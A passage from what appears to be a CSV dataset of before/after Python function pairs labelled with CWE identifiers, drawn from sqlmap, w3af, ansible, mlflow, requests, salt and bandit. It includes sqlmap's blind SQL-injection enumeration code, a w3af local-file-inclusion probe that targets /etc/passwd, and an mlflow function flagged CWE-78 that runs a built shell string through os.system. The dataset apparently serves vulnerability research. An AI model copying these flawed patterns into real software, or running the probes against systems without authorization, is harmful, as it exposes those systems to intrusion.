                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if count == 0:
                    warnMsg = ""database '%s' "" % unsafeSQLIdentificatorNaming(db)
                    warnMsg += ""appears to be empty""
                    logger.warn(warnMsg)
                    continue

                elif not isNumPosStrValue(count):
                    warnMsg = ""unable to retrieve the number of ""
                    warnMsg += ""tables for database '%s'"" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)
                    continue

                tables = []

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else "" ""))
                    elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
                        query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else "" "")
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = rootQuery.blind.query % index
                    else:
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)

                    table = unArrayizeValue(inject.getValue(query, union=False, error=False))
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = ""unable to retrieve the table names ""
                    warnMsg += ""for database '%s'"" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

        if isNoneValue(kb.data.cachedTables):
            kb.data.cachedTables.clear()

        if not kb.data.cachedTables:
            errMsg = ""unable to retrieve the table names for any database""
            if bruteForce is None:
                logger.error(errMsg)
                return self.getTables(bruteForce=True)
            else:
                raise SqlmapNoneDataException(errMsg)
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        if kb.data.cachedTables:
            for db in kb.data.cachedTables.keys():
                kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))

        return kb.data.cachedTables"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/gather_facts.py,0,"def run(self, tmp=None, task_vars=None):

        self._supports_check_mode = True

        result = super(ActionModule, self).run(tmp, task_vars)
        result['ansible_facts'] = {}

        modules = C.config.get_config_value('FACTS_MODULES', variables=task_vars)
        parallel = task_vars.pop('ansible_facts_parallel', self._task.args.pop('parallel', None))

        if 'smart' in modules:
            connection_map = C.config.get_config_value('CONNECTION_FACTS_MODULES', variables=task_vars)
            modules.extend([connection_map.get(self._connection._load_name, 'setup')])
            modules.pop(modules.index('smart'))

        failed = {}
        skipped = {}
        if parallel is False or (len(modules) == 1 and parallel is None):
            # serially execute each module
            for fact_module in modules:
                # just one module, no need for fancy async
                mod_args = self._get_module_args(fact_module, task_vars)
                res = self._execute_module(module_name=fact_module, module_args=mod_args, task_vars=task_vars, wrap_async=False)
                if res.get('failed', False):
                    failed[fact_module] = res.get('msg')
                elif res.get('skipped', False):
                    skipped[fact_module] = res.get('msg')
                else:
                    result = combine_vars(result, {'ansible_facts': res.get('ansible_facts', {})})

            self._remove_tmp_path(self._connection._shell.tmpdir)
        else:
            # do it async
            jobs = {}
            for fact_module in modules:

                mod_args = self._get_module_args(fact_module, task_vars)
                self._display.vvvv(""Running %s"" % fact_module)
                jobs[fact_module] = (self._execute_module(module_name=fact_module, module_args=mod_args, task_vars=task_vars, wrap_async=True))

            while jobs:
                for module in jobs:
                    poll_args = {'jid': jobs[module]['ansible_job_id'], '_async_dir': os.path.dirname(jobs[module]['results_file'])}
                    res = self._execute_module(module_name='async_status', module_args=poll_args, task_vars=task_vars, wrap_async=False)
                    if res.get('finished', 0) == 1:
                        if res.get('failed', False):
                            failed[module] = res.get('msg')
                        elif res.get('skipped', False):
                            skipped[module] = res.get('msg')
                        else:
                            result = combine_vars(result, {'ansible_facts': res.get('ansible_facts', {})})
                        del jobs[module]
                        break
                    else:
                        time.sleep(0.1)
                else:
                    time.sleep(0.5)

        if skipped:
            result['msg'] = ""The following modules were skipped: %s\n"" % (', '.join(skipped.keys()))
            for skip in skipped:
                result['msg'] += '  %s: %s\n' % (skip, skipped[skip])
            if len(skipped) == len(modules):
                result['skipped'] = True

        if failed:
            result['failed'] = True
            result['msg'] = ""The following modules failed to execute: %s\n"" % (', '.join(failed.keys()))
            for fail in failed:
                result['msg'] += '  %s: %s\n' % (fail, failed[fail])

        # tell executor facts were gathered
        result['ansible_facts']['_ansible_facts_gathered'] = True

        # hack to keep --verbose from showing all the setup module result
        result['_ansible_verbose_override'] = True

        return result",,ansible/ansible,fd73fe02b472d1b89d8f2747864f7215a14abb01,"def run(self, tmp=None, task_vars=None):

        self._supports_check_mode = True

        result = super(ActionModule, self).run(tmp, task_vars)
        result['ansible_facts'] = {}

        modules = C.config.get_config_value('FACTS_MODULES', variables=task_vars)
        parallel = task_vars.pop('ansible_facts_parallel', self._task.args.pop('parallel', None))

        if 'smart' in modules:
            connection_map = C.config.get_config_value('CONNECTION_FACTS_MODULES', variables=task_vars)
            modules.extend([connection_map.get(self._connection._load_name, 'setup')])
            modules.pop(modules.index('smart'))

        failed = {}
        skipped = {}
        if parallel is False or (len(modules) == 1 and parallel is None):
            # serially execute each module
            for fact_module in modules:
                # just one module, no need for fancy async
                mod_args = self._get_module_args(fact_module, task_vars)
                res = self._execute_module(module_name=fact_module, module_args=mod_args, task_vars=task_vars, wrap_async=False)
                if res.get('failed', False):
                    failed[fact_module] = res.get('msg')
                elif res.get('skipped', False):
                    skipped[fact_module] = res.get('msg')
                else:
                    result = combine_vars(result, {'ansible_facts': res.get('ansible_facts', {})})

            self._remove_tmp_path(self._connection._shell.tmpdir)
        else:
            # do it async
            jobs = {}
            for fact_module in modules:

                mod_args = self._get_module_args(fact_module, task_vars)
                self._display.vvvv(""Running %s"" % fact_module)
                jobs[fact_module] = (self._execute_module(module_name=fact_module, module_args=mod_args, task_vars=task_vars, wrap_async=True))

            while jobs:
                for module in jobs:
                    poll_args = {'jid': jobs[module]['ansible_job_id'], '_async_dir': os.path.dirname(jobs[module]['results_file'])}
                    res = self._execute_module(module_name='async_status', module_args=poll_args, task_vars=task_vars, wrap_async=False)
                    if res.get('finished', 0) == 1:
                        if res.get('failed', False):
                            failed[module] = res.get('msg')
                        elif res.get('skipped', False):
                            skipped[module] = res.get('msg')
                        else:
                            result = combine_vars(result, {'ansible_facts': res.get('ansible_facts', {})})
                        del jobs[module]
                        break
                    else:
                        time.sleep(0.1)
                else:
                    time.sleep(0.5)

        if skipped:
            result['msg'] = ""The following modules were skipped: %s\n"" % (', '.join(skipped.keys()))
            for skip in skipped:
                result['msg'] += '  %s: %s\n' % (skip, skipped[skip])
            if len(skipped) == len(modules):
                result['skipped'] = True

        if failed:
            result['failed'] = True
            result['msg'] = ""The following modules failed to execute: %s\n"" % (', '.join(failed.keys()))
            for fail in failed:
                result['msg'] += '  %s: %s\n' % (fail, failed[fail])

        # tell executor facts were gathered
        result['ansible_facts']['_ansible_facts_gathered'] = True

        return result"
,UNKNOWN,UNKNOWN,mlflow/sagemaker/__init__.py,1,"def push_image_to_ecr(image=DEFAULT_IMAGE_NAME):
    """"""
    Push local Docker image to AWS ECR.

    The image is pushed under currently active AWS account and to the currently active AWS region.

    :param image: Docker image name.
    """"""
    import boto3
    _logger.info(""Pushing image to ECR"")
    client = boto3.client(""sts"")
    caller_id = client.get_caller_identity()
    account = caller_id['Account']
    my_session = boto3.session.Session()
    region = my_session.region_name or ""us-west-2""
    fullname = _full_template.format(account=account, region=region, image=image,
                                     version=mlflow.version.VERSION)
    _logger.info(""Pushing docker image %s to %s"", image, fullname)
    ecr_client = boto3.client('ecr')
    try:
        ecr_client.describe_repositories(repositoryNames=[image])['repositories']
    except ecr_client.exceptions.RepositoryNotFoundException:
        ecr_client.create_repository(repositoryName=image)
        print(""Created new ECR repository: {repository_name}"".format(repository_name=image))
    # TODO: it would be nice to translate the docker login, tag and push to python api.
    # x = ecr_client.get_authorization_token()['authorizationData'][0]
    # docker_login_cmd = ""docker login -u AWS -p {token} {url}"".format(token=x['authorizationToken']
    #                                                                ,url=x['proxyEndpoint'])

    docker_login_cmd = ""aws ecr get-login-password"" \
                       "" | docker login  --username AWS "" \
                       "" --password-stdin "" \
                       ""{account}.dkr.ecr.{region}.amazonaws.com"".format(
                            account=account,
                            region=region)

    os_command_separator = "";\n""
    if platform.system() == ""Windows"":
        os_command_separator = "" && ""

    docker_tag_cmd = ""docker tag {image} {fullname}"".format(
        image=image, fullname=fullname)
    docker_push_cmd = ""docker push {}"".format(fullname)

    cmd = os_command_separator.join(
        [docker_login_cmd, docker_tag_cmd, docker_push_cmd])

    _logger.info(""Executing: %s"", cmd)
    os.system(cmd)",CWE-78,mlflow/mlflow,f0d417aafd53614b8641e0ef32f20df910f29301,"def push_image_to_ecr(image=DEFAULT_IMAGE_NAME):
    """"""
    Push local Docker image to AWS ECR.

    The image is pushed under currently active AWS account and to the currently active AWS region.

    :param image: Docker image name.
    """"""
    import boto3
    _logger.info(""Pushing image to ECR"")
    client = boto3.client(""sts"")
    caller_id = client.get_caller_identity()
    account = caller_id['Account']
    my_session = boto3.session.Session()
    region = my_session.region_name or ""us-west-2""
    fullname = _full_template.format(account=account, region=region, image=image,
                                     version=mlflow.version.VERSION)
    _logger.info(""Pushing docker image %s to %s"", image, fullname)
    ecr_client = boto3.client('ecr')
    try:
        ecr_client.describe_repositories(repositoryNames=[image])['repositories']
    except ecr_client.exceptions.RepositoryNotFoundException:
        ecr_client.create_repository(repositoryName=image)
        print(""Created new ECR repository: {repository_name}"".format(repository_name=image))
    # TODO: it would be nice to translate the docker login, tag and push to python api.
    # x = ecr_client.get_authorization_token()['authorizationData'][0]
    # docker_login_cmd = ""docker login -u AWS -p {token} {url}"".format(token=x['authorizationToken']
    #                                                                ,url=x['proxyEndpoint'])
    os_command_separator = "";\n""
    if platform.system() == ""Windows"":
        os_command_separator = "" && ""
        # In order to execute the outcome of aws ecr get-login
        # in cmd, we need to save it in a temp file first
        docker_login_cmd = ""aws ecr get-login --no-include-email > docker_login_url_temp.cmd"" \
            ""{os_command_separator} call docker_login_url_temp.cmd {os_command_separator}"" \
            ""del docker_login_url_temp.cmd"".format(os_command_separator=os_command_separator)
    else:
        docker_login_cmd = ""$(aws ecr get-login --no-include-email)""
    docker_tag_cmd = ""docker tag {image} {fullname}"".format(
        image=image, fullname=fullname)
    docker_push_cmd = ""docker push {}"".format(fullname)

    cmd = os_command_separator.join(
        [docker_login_cmd, docker_tag_cmd, docker_push_cmd])
    _logger.info(""Executing: %s"", cmd)
    os.system(cmd)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/localFileInclude.py,0,"def audit(self, freq ):
        '''
        Tests an URL for local file inclusion vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'localFileInclude plugin is testing: ' + freq.getURL() )
        
        oResponse = self._uri_opener.send_mutant(freq)
        
        #   What payloads do I want to send to the remote end?
        local_files = []
        local_files.append( freq.getURL().getFileName() )
        if not self._open_basedir:
            local_files.extend( self._get_local_file_list(freq.getURL()) )
        
        mutants = createMutants( freq , local_files, oResponse=oResponse )
            
        for mutant in mutants:
            
            # Only spawn a thread if the mutant has a modified variable
            # that has no reported bugs in the kb
            if self._has_no_bug(mutant):
                # I don't grep the result, because if I really find a local
                # file inclusion I will be requesting /etc/passwd and that
                # would generate A LOT of false positives in the
                # grep.pathDisclosure plugin
                args = (mutant,)
                kwds = {'callback': self._analyze_result,
                        'grep': False }
                self._run_async(meth=self._uri_opener.send_mutant, args=args,
                                                                    kwds=kwds)
                                                    
        self._join()",,andresriancho/w3af,434524e6fc7e61d86dc77f3db72b5e8cc7ffc615,"def audit(self, freq ):
        '''
        Tests an URL for local file inclusion vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'localFileInclude plugin is testing: ' + freq.getURL() )
        
        oResponse = self._sendMutant( freq , analyze=False )
        
        #   What payloads do I want to send to the remote end?
        local_files = []
        local_files.append( freq.getURL().getFileName() )
        if not self._open_basedir:
            local_files.extend( self._get_local_file_list(freq.getURL()) )
        
        mutants = createMutants( freq , local_files, oResponse=oResponse )
            
        for mutant in mutants:
            
            # Only spawn a thread if the mutant has a modified variable
            # that has no reported bugs in the kb
            if self._has_no_bug(mutant):
                # I don't grep the result, because if I really find a local
                # file inclusion I will be requesting /etc/passwd and that
                # would generate A LOT of false positives in the
                # grep.pathDisclosure plugin
                self._run_async(
                            meth=self._sendMutant,
                            args=(mutant,),
                            kwds={'grepResult': False}
                            )
                                                    
        self._join()"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/utils/deps.py,0,"def checkDependencies():
    missing_libraries = set()

    for dbmsName, data in DBMS_DICT.items():
        if data[1] is None:
            continue

        try:
            if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
                __import__(""_mssql"")

                pymssql = __import__(""pymssql"")
                if not hasattr(pymssql, ""__version__"") or pymssql.__version__ < ""1.0.2"":
                    warnMsg = ""'%s' third-party library must be "" % data[1]
                    warnMsg += ""version >= 1.0.2 to work properly. ""
                    warnMsg += ""Download from '%s'"" % data[2]
                    logger.warning(warnMsg)
            elif dbmsName == DBMS.MYSQL:
                __import__(""pymysql"")
            elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB):
                __import__(""psycopg2"")
            elif dbmsName == DBMS.ORACLE:
                __import__(""cx_Oracle"")
            elif dbmsName == DBMS.SQLITE:
                __import__(""sqlite3"")
            elif dbmsName == DBMS.ACCESS:
                __import__(""pyodbc"")
            elif dbmsName == DBMS.FIREBIRD:
                __import__(""kinterbasdb"")
            elif dbmsName == DBMS.DB2:
                __import__(""ibm_db_dbi"")
            elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE):
                __import__(""jaydebeapi"")
                __import__(""jpype"")
            elif dbmsName == DBMS.INFORMIX:
                __import__(""ibm_db_dbi"")
            elif dbmsName == DBMS.MONETDB:
                __import__(""pymonetdb"")
            elif dbmsName == DBMS.DERBY:
                __import__(""drda"")
            elif dbmsName == DBMS.VERTICA:
                __import__(""vertica_python"")
            elif dbmsName == DBMS.PRESTO:
                __import__(""prestodb"")
            elif dbmsName == DBMS.MIMERSQL:
                __import__(""mimerpy"")
            elif dbmsName == DBMS.CUBRID:
                __import__(""CUBRIDdb"")
        except:
            warnMsg = ""sqlmap requires '%s' third-party library "" % data[1]
            warnMsg += ""in order to directly connect to the DBMS ""
            warnMsg += ""'%s'. Download from '%s'"" % (dbmsName, data[2])
            logger.warning(warnMsg)
            missing_libraries.add(data[1])

            continue

        debugMsg = ""'%s' third-party library is found"" % data[1]
        logger.debug(debugMsg)

    try:
        __import__(""impacket"")
        debugMsg = ""'python-impacket' third-party library is found""
        logger.debug(debugMsg)
    except ImportError:
        warnMsg = ""sqlmap requires 'python-impacket' third-party library for ""
        warnMsg += ""out-of-band takeover feature. Download from ""
        warnMsg += ""'https://github.com/coresecurity/impacket'""
        logger.warning(warnMsg)
        missing_libraries.add('python-impacket')

    try:
        __import__(""ntlm"")
        debugMsg = ""'python-ntlm' third-party library is found""
        logger.debug(debugMsg)
    except ImportError:
        warnMsg = ""sqlmap requires 'python-ntlm' third-party library ""
        warnMsg += ""if you plan to attack a web application behind NTLM ""
        warnMsg += ""authentication. Download from 'https://github.com/mullender/python-ntlm'""
        logger.warning(warnMsg)
        missing_libraries.add('python-ntlm')

    try:
        __import__(""websocket._abnf"")
        debugMsg = ""'websocket-client' library is found""
        logger.debug(debugMsg)
    except ImportError:
        warnMsg = ""sqlmap requires 'websocket-client' third-party library ""
        warnMsg += ""if you plan to attack a web application using WebSocket. ""
        warnMsg += ""Download from 'https://pypi.python.org/pypi/websocket-client/'""
        logger.warning(warnMsg)
        missing_libraries.add('websocket-client')

    try:
        __import__(""tkinter"")
        debugMsg = ""'tkinter' library is found""
        logger.debug(debugMsg)
    except ImportError:
        warnMsg = ""sqlmap requires 'tkinter' library ""
        warnMsg += ""if you plan to run a GUI""
        logger.warning(warnMsg)
        missing_libraries.add('tkinter')

    try:
        __import__(""tkinter.ttk"")
        debugMsg = ""'tkinter.ttk' library is found""
        logger.debug(debugMsg)
    except ImportError:
        warnMsg = ""sqlmap requires 'tkinter.ttk' library ""
        warnMsg += ""if you plan to run a GUI""
        logger.warning(warnMsg)
        missing_libraries.add('tkinter.ttk')

    if IS_WIN:
        try:
            __import__(""pyreadline"")
            debugMsg = ""'python-pyreadline' third-party library is found""
            logger.debug(debugMsg)
        except ImportError:
            warnMsg = ""sqlmap requires 'pyreadline' third-party library to ""
            warnMsg += ""be able to take advantage of the sqlmap TAB ""
            warnMsg += ""completion and history support features in the SQL ""
            warnMsg += ""shell and OS shell. Download from ""
            warnMsg += ""'https://pypi.org/project/pyreadline/'""
            logger.warning(warnMsg)
            missing_libraries.add('python-pyreadline')

    if len(missing_libraries) == 0:
        infoMsg = ""all dependencies are installed""
        logger.info(infoMsg)",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def checkDependencies():
    missing_libraries = set()

    for dbmsName, data in DBMS_DICT.items():
        if data[1] is None:
            continue

        try:
            if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
                __import__(""_mssql"")

                pymssql = __import__(""pymssql"")
                if not hasattr(pymssql, ""__version__"") or pymssql.__version__ < ""1.0.2"":
                    warnMsg = ""'%s' third-party library must be "" % data[1]
                    warnMsg += ""version >= 1.0.2 to work properly. ""
                    warnMsg += ""Download from '%s'"" % data[2]
                    logger.warn(warnMsg)
            elif dbmsName == DBMS.MYSQL:
                __import__(""pymysql"")
            elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB):
                __import__(""psycopg2"")
            elif dbmsName == DBMS.ORACLE:
                __import__(""cx_Oracle"")
            elif dbmsName == DBMS.SQLITE:
                __import__(""sqlite3"")
            elif dbmsName == DBMS.ACCESS:
                __import__(""pyodbc"")
            elif dbmsName == DBMS.FIREBIRD:
                __import__(""kinterbasdb"")
            elif dbmsName == DBMS.DB2:
                __import__(""ibm_db_dbi"")
            elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE):
                __import__(""jaydebeapi"")
                __import__(""jpype"")
            elif dbmsName == DBMS.INFORMIX:
                __import__(""ibm_db_dbi"")
            elif dbmsName == DBMS.MONETDB:
                __import__(""pymonetdb"")
            elif dbmsName == DBMS.DERBY:
                __import__(""drda"")
            elif dbmsName == DBMS.VERTICA:
                __import__(""vertica_python"")
            elif dbmsName == DBMS.PRESTO:
                __import__(""prestodb"")
            elif dbmsName == DBMS.MIMERSQL:
                __import__(""mimerpy"")
            elif dbmsName == DBMS.CUBRID:
                __import__(""CUBRIDdb"")
        except:
            warnMsg = ""sqlmap requires '%s' third-party library "" % data[1]
            warnMsg += ""in order to directly connect to the DBMS ""
            warnMsg += ""'%s'. Download from '%s'"" % (dbmsName, data[2])
            logger.warn(warnMsg)
            missing_libraries.add(data[1])

            continue

        debugMsg = ""'%s' third-party library is found"" % data[1]
        logger.debug(debugMsg)

    try:
        __import__(""impacket"")
        debugMsg = ""'python-impacket' third-party library is found""
        logger.debug(debugMsg)
    except ImportError:
        warnMsg = ""sqlmap requires 'python-impacket' third-party library for ""
        warnMsg += ""out-of-band takeover feature. Download from ""
        warnMsg += ""'https://github.com/coresecurity/impacket'""
        logger.warn(warnMsg)
        missing_libraries.add('python-impacket')

    try:
        __import__(""ntlm"")
        debugMsg = ""'python-ntlm' third-party library is found""
        logger.debug(debugMsg)
    except ImportError:
        warnMsg = ""sqlmap requires 'python-ntlm' third-party library ""
        warnMsg += ""if you plan to attack a web application behind NTLM ""
        warnMsg += ""authentication. Download from 'https://github.com/mullender/python-ntlm'""
        logger.warn(warnMsg)
        missing_libraries.add('python-ntlm')

    try:
        __import__(""websocket._abnf"")
        debugMsg = ""'websocket-client' library is found""
        logger.debug(debugMsg)
    except ImportError:
        warnMsg = ""sqlmap requires 'websocket-client' third-party library ""
        warnMsg += ""if you plan to attack a web application using WebSocket. ""
        warnMsg += ""Download from 'https://pypi.python.org/pypi/websocket-client/'""
        logger.warn(warnMsg)
        missing_libraries.add('websocket-client')

    try:
        __import__(""tkinter"")
        debugMsg = ""'tkinter' library is found""
        logger.debug(debugMsg)
    except ImportError:
        warnMsg = ""sqlmap requires 'tkinter' library ""
        warnMsg += ""if you plan to run a GUI""
        logger.warn(warnMsg)
        missing_libraries.add('tkinter')

    try:
        __import__(""tkinter.ttk"")
        debugMsg = ""'tkinter.ttk' library is found""
        logger.debug(debugMsg)
    except ImportError:
        warnMsg = ""sqlmap requires 'tkinter.ttk' library ""
        warnMsg += ""if you plan to run a GUI""
        logger.warn(warnMsg)
        missing_libraries.add('tkinter.ttk')

    if IS_WIN:
        try:
            __import__(""pyreadline"")
            debugMsg = ""'python-pyreadline' third-party library is found""
            logger.debug(debugMsg)
        except ImportError:
            warnMsg = ""sqlmap requires 'pyreadline' third-party library to ""
            warnMsg += ""be able to take advantage of the sqlmap TAB ""
            warnMsg += ""completion and history support features in the SQL ""
            warnMsg += ""shell and OS shell. Download from ""
            warnMsg += ""'https://pypi.org/project/pyreadline/'""
            logger.warn(warnMsg)
            missing_libraries.add('python-pyreadline')

    if len(missing_libraries) == 0:
        infoMsg = ""all dependencies are installed""
        logger.info(infoMsg)"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_nonhttp_schemes_dont_check_URLs(self):
        test_urls = (
            'data:image/gif;base64,R0lGODlhAQABAHAAACH5BAUAAAAALAAAAAABAAEAAAICRAEAOw==',
            'file:///etc/passwd',
            'magnet:?xt=urn:btih:be08f00302bc2d1d3cfa3af02024fa647a271431',
        )
        for test_url in test_urls:
            req = requests.Request('GET', test_url)
            preq = req.prepare()
            assert test_url == preq.url",CWE-703,psf/requests,c45d7c49ea75133e52ab22a8e9e13173938e36ff,"def test_nonhttp_schemes_dont_check_URLs(self):
        test_urls = (
            'data:image/gif;base64,R0lGODlhAQABAHAAACH5BAUAAAAALAAAAAABAAEAAAICRAEAOw==',
            'file:///etc/passwd',
            'magnet:?xt=urn:btih:be08f00302bc2d1d3cfa3af02024fa647a271431',
        )
        for test_url in test_urls:
            req = requests.Request('GET', test_url)
            preq = req.prepare()
            assert test_url == preq.url"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/zypper.py,0,"def info_installed(*names, **kwargs):
    '''
    Return the information of the named package(s), installed on the system.

    :param names:
        Names of the packages to get information about.

    :param attr:
        Comma-separated package attributes. If no 'attr' is specified, all available attributes returned.

        Valid attributes are:
            version, vendor, release, build_date, build_date_time_t, install_date, install_date_time_t,
            build_host, group, source_rpm, arch, epoch, size, license, signature, packager, url,
            summary, description.

    :param errors:
        Handle RPM field errors (true|false). By default, various mistakes in the textual fields are simply ignored and
        omitted from the data. Otherwise a field with a mistake is not returned, instead a 'N/A (bad UTF-8)'
        (not available, broken) text is returned.

        Valid attributes are:
            ignore, report

    CLI example:

    .. code-block:: bash

        salt '*' pkg.info_installed <package1>
        salt '*' pkg.info_installed <package1> <package2> <package3> ...
        salt '*' pkg.info_installed <package1> attr=version,vendor
        salt '*' pkg.info_installed <package1> <package2> <package3> ... attr=version,vendor
        salt '*' pkg.info_installed <package1> <package2> <package3> ... attr=version,vendor errors=true
    '''
    ret = dict()
    for pkg_name, pkg_nfo in __salt__['lowpkg.info'](*names, **kwargs).items():
        t_nfo = dict()
        # Translate dpkg-specific keys to a common structure
        for key, value in pkg_nfo.items():
            if type(value) == str:
                # Check, if string is encoded in a proper UTF-8
                value_ = value.decode('UTF-8', 'ignore').encode('UTF-8', 'ignore')
                if value != value_:
                    value = kwargs.get('errors') and value_ or 'N/A (invalid UTF-8)'
                    log.error('Package {0} has bad UTF-8 code in {1}: {2}'.format(pkg_name, key, value))
            if key == 'source_rpm':
                t_nfo['source'] = value
            else:
                t_nfo[key] = value

        ret[pkg_name] = t_nfo

    return ret",,saltstack/salt,3259fde362598e138363e839bc4a2b625933128d,"def info_installed(*names, **kwargs):
    '''
    Return the information of the named package(s), installed on the system.

    :param names:
        Names of the packages to get information about.

    :param attr:
        Comma-separated package attributes. If no 'attr' is specified, all available attributes returned.

        Valid attributes are:
            version, vendor, release, build_date, build_date_time_t, install_date, install_date_time_t,
            build_host, group, source_rpm, arch, epoch, size, license, signature, packager, url,
            summary, description.

    :param errors:
        Handle RPM field errors. If 'ignore' is chosen, then various mistakes are simply ignored and omitted
        from the texts or strings. If 'report' is chonen, then a field with a mistake is not returned, instead
        a 'N/A (broken)' (not available, broken) text is placed.

        Valid attributes are:
            ignore, report

    CLI example:

    .. code-block:: bash

        salt '*' pkg.info_installed <package1>
        salt '*' pkg.info_installed <package1> <package2> <package3> ...
        salt '*' pkg.info_installed <package1> attr=version,vendor
        salt '*' pkg.info_installed <package1> <package2> <package3> ... attr=version,vendor
        salt '*' pkg.info_installed <package1> <package2> <package3> ... attr=version,vendor errors=ignore
        salt '*' pkg.info_installed <package1> <package2> <package3> ... attr=version,vendor errors=report
    '''
    ret = dict()
    for pkg_name, pkg_nfo in __salt__['lowpkg.info'](*names, **kwargs).items():
        t_nfo = dict()
        # Translate dpkg-specific keys to a common structure
        for key, value in pkg_nfo.items():
            if type(value) == str:
                # Check, if string is encoded in a proper UTF-8
                value_ = value.decode('UTF-8', 'ignore').encode('UTF-8', 'ignore')
                if value != value_:
                    value = kwargs.get('errors', 'ignore') == 'ignore' and value_ or 'N/A (invalid UTF-8)'
                    log.error('Package {0} has bad UTF-8 code in {1}: {2}'.format(pkg_name, key, value))
            if key == 'source_rpm':
                t_nfo['source'] = value
            else:
                t_nfo[key] = value

        ret[pkg_name] = t_nfo

    return ret"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/functional/test_functional.py,0,"def test_host_key_verification(self):
        """"""Test for ignoring host key verification.""""""
        expect = {
            ""SEVERITY"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 0, ""HIGH"": 8},
            ""CONFIDENCE"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 8, ""HIGH"": 0},
        }
        self.check_example(""no_host_key_verification.py"", expect)",UNKNOWN,PyCQA/bandit,5ec806de1901fe99083ddeab4b117c2ccf84c2e9,"def test_host_key_verification(self):
        """"""Test for ignoring host key verification.""""""
        expect = {
            ""SEVERITY"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 0, ""HIGH"": 4},
            ""CONFIDENCE"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 4, ""HIGH"": 0},
        }
        self.check_example(""no_host_key_verification.py"", expect)"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
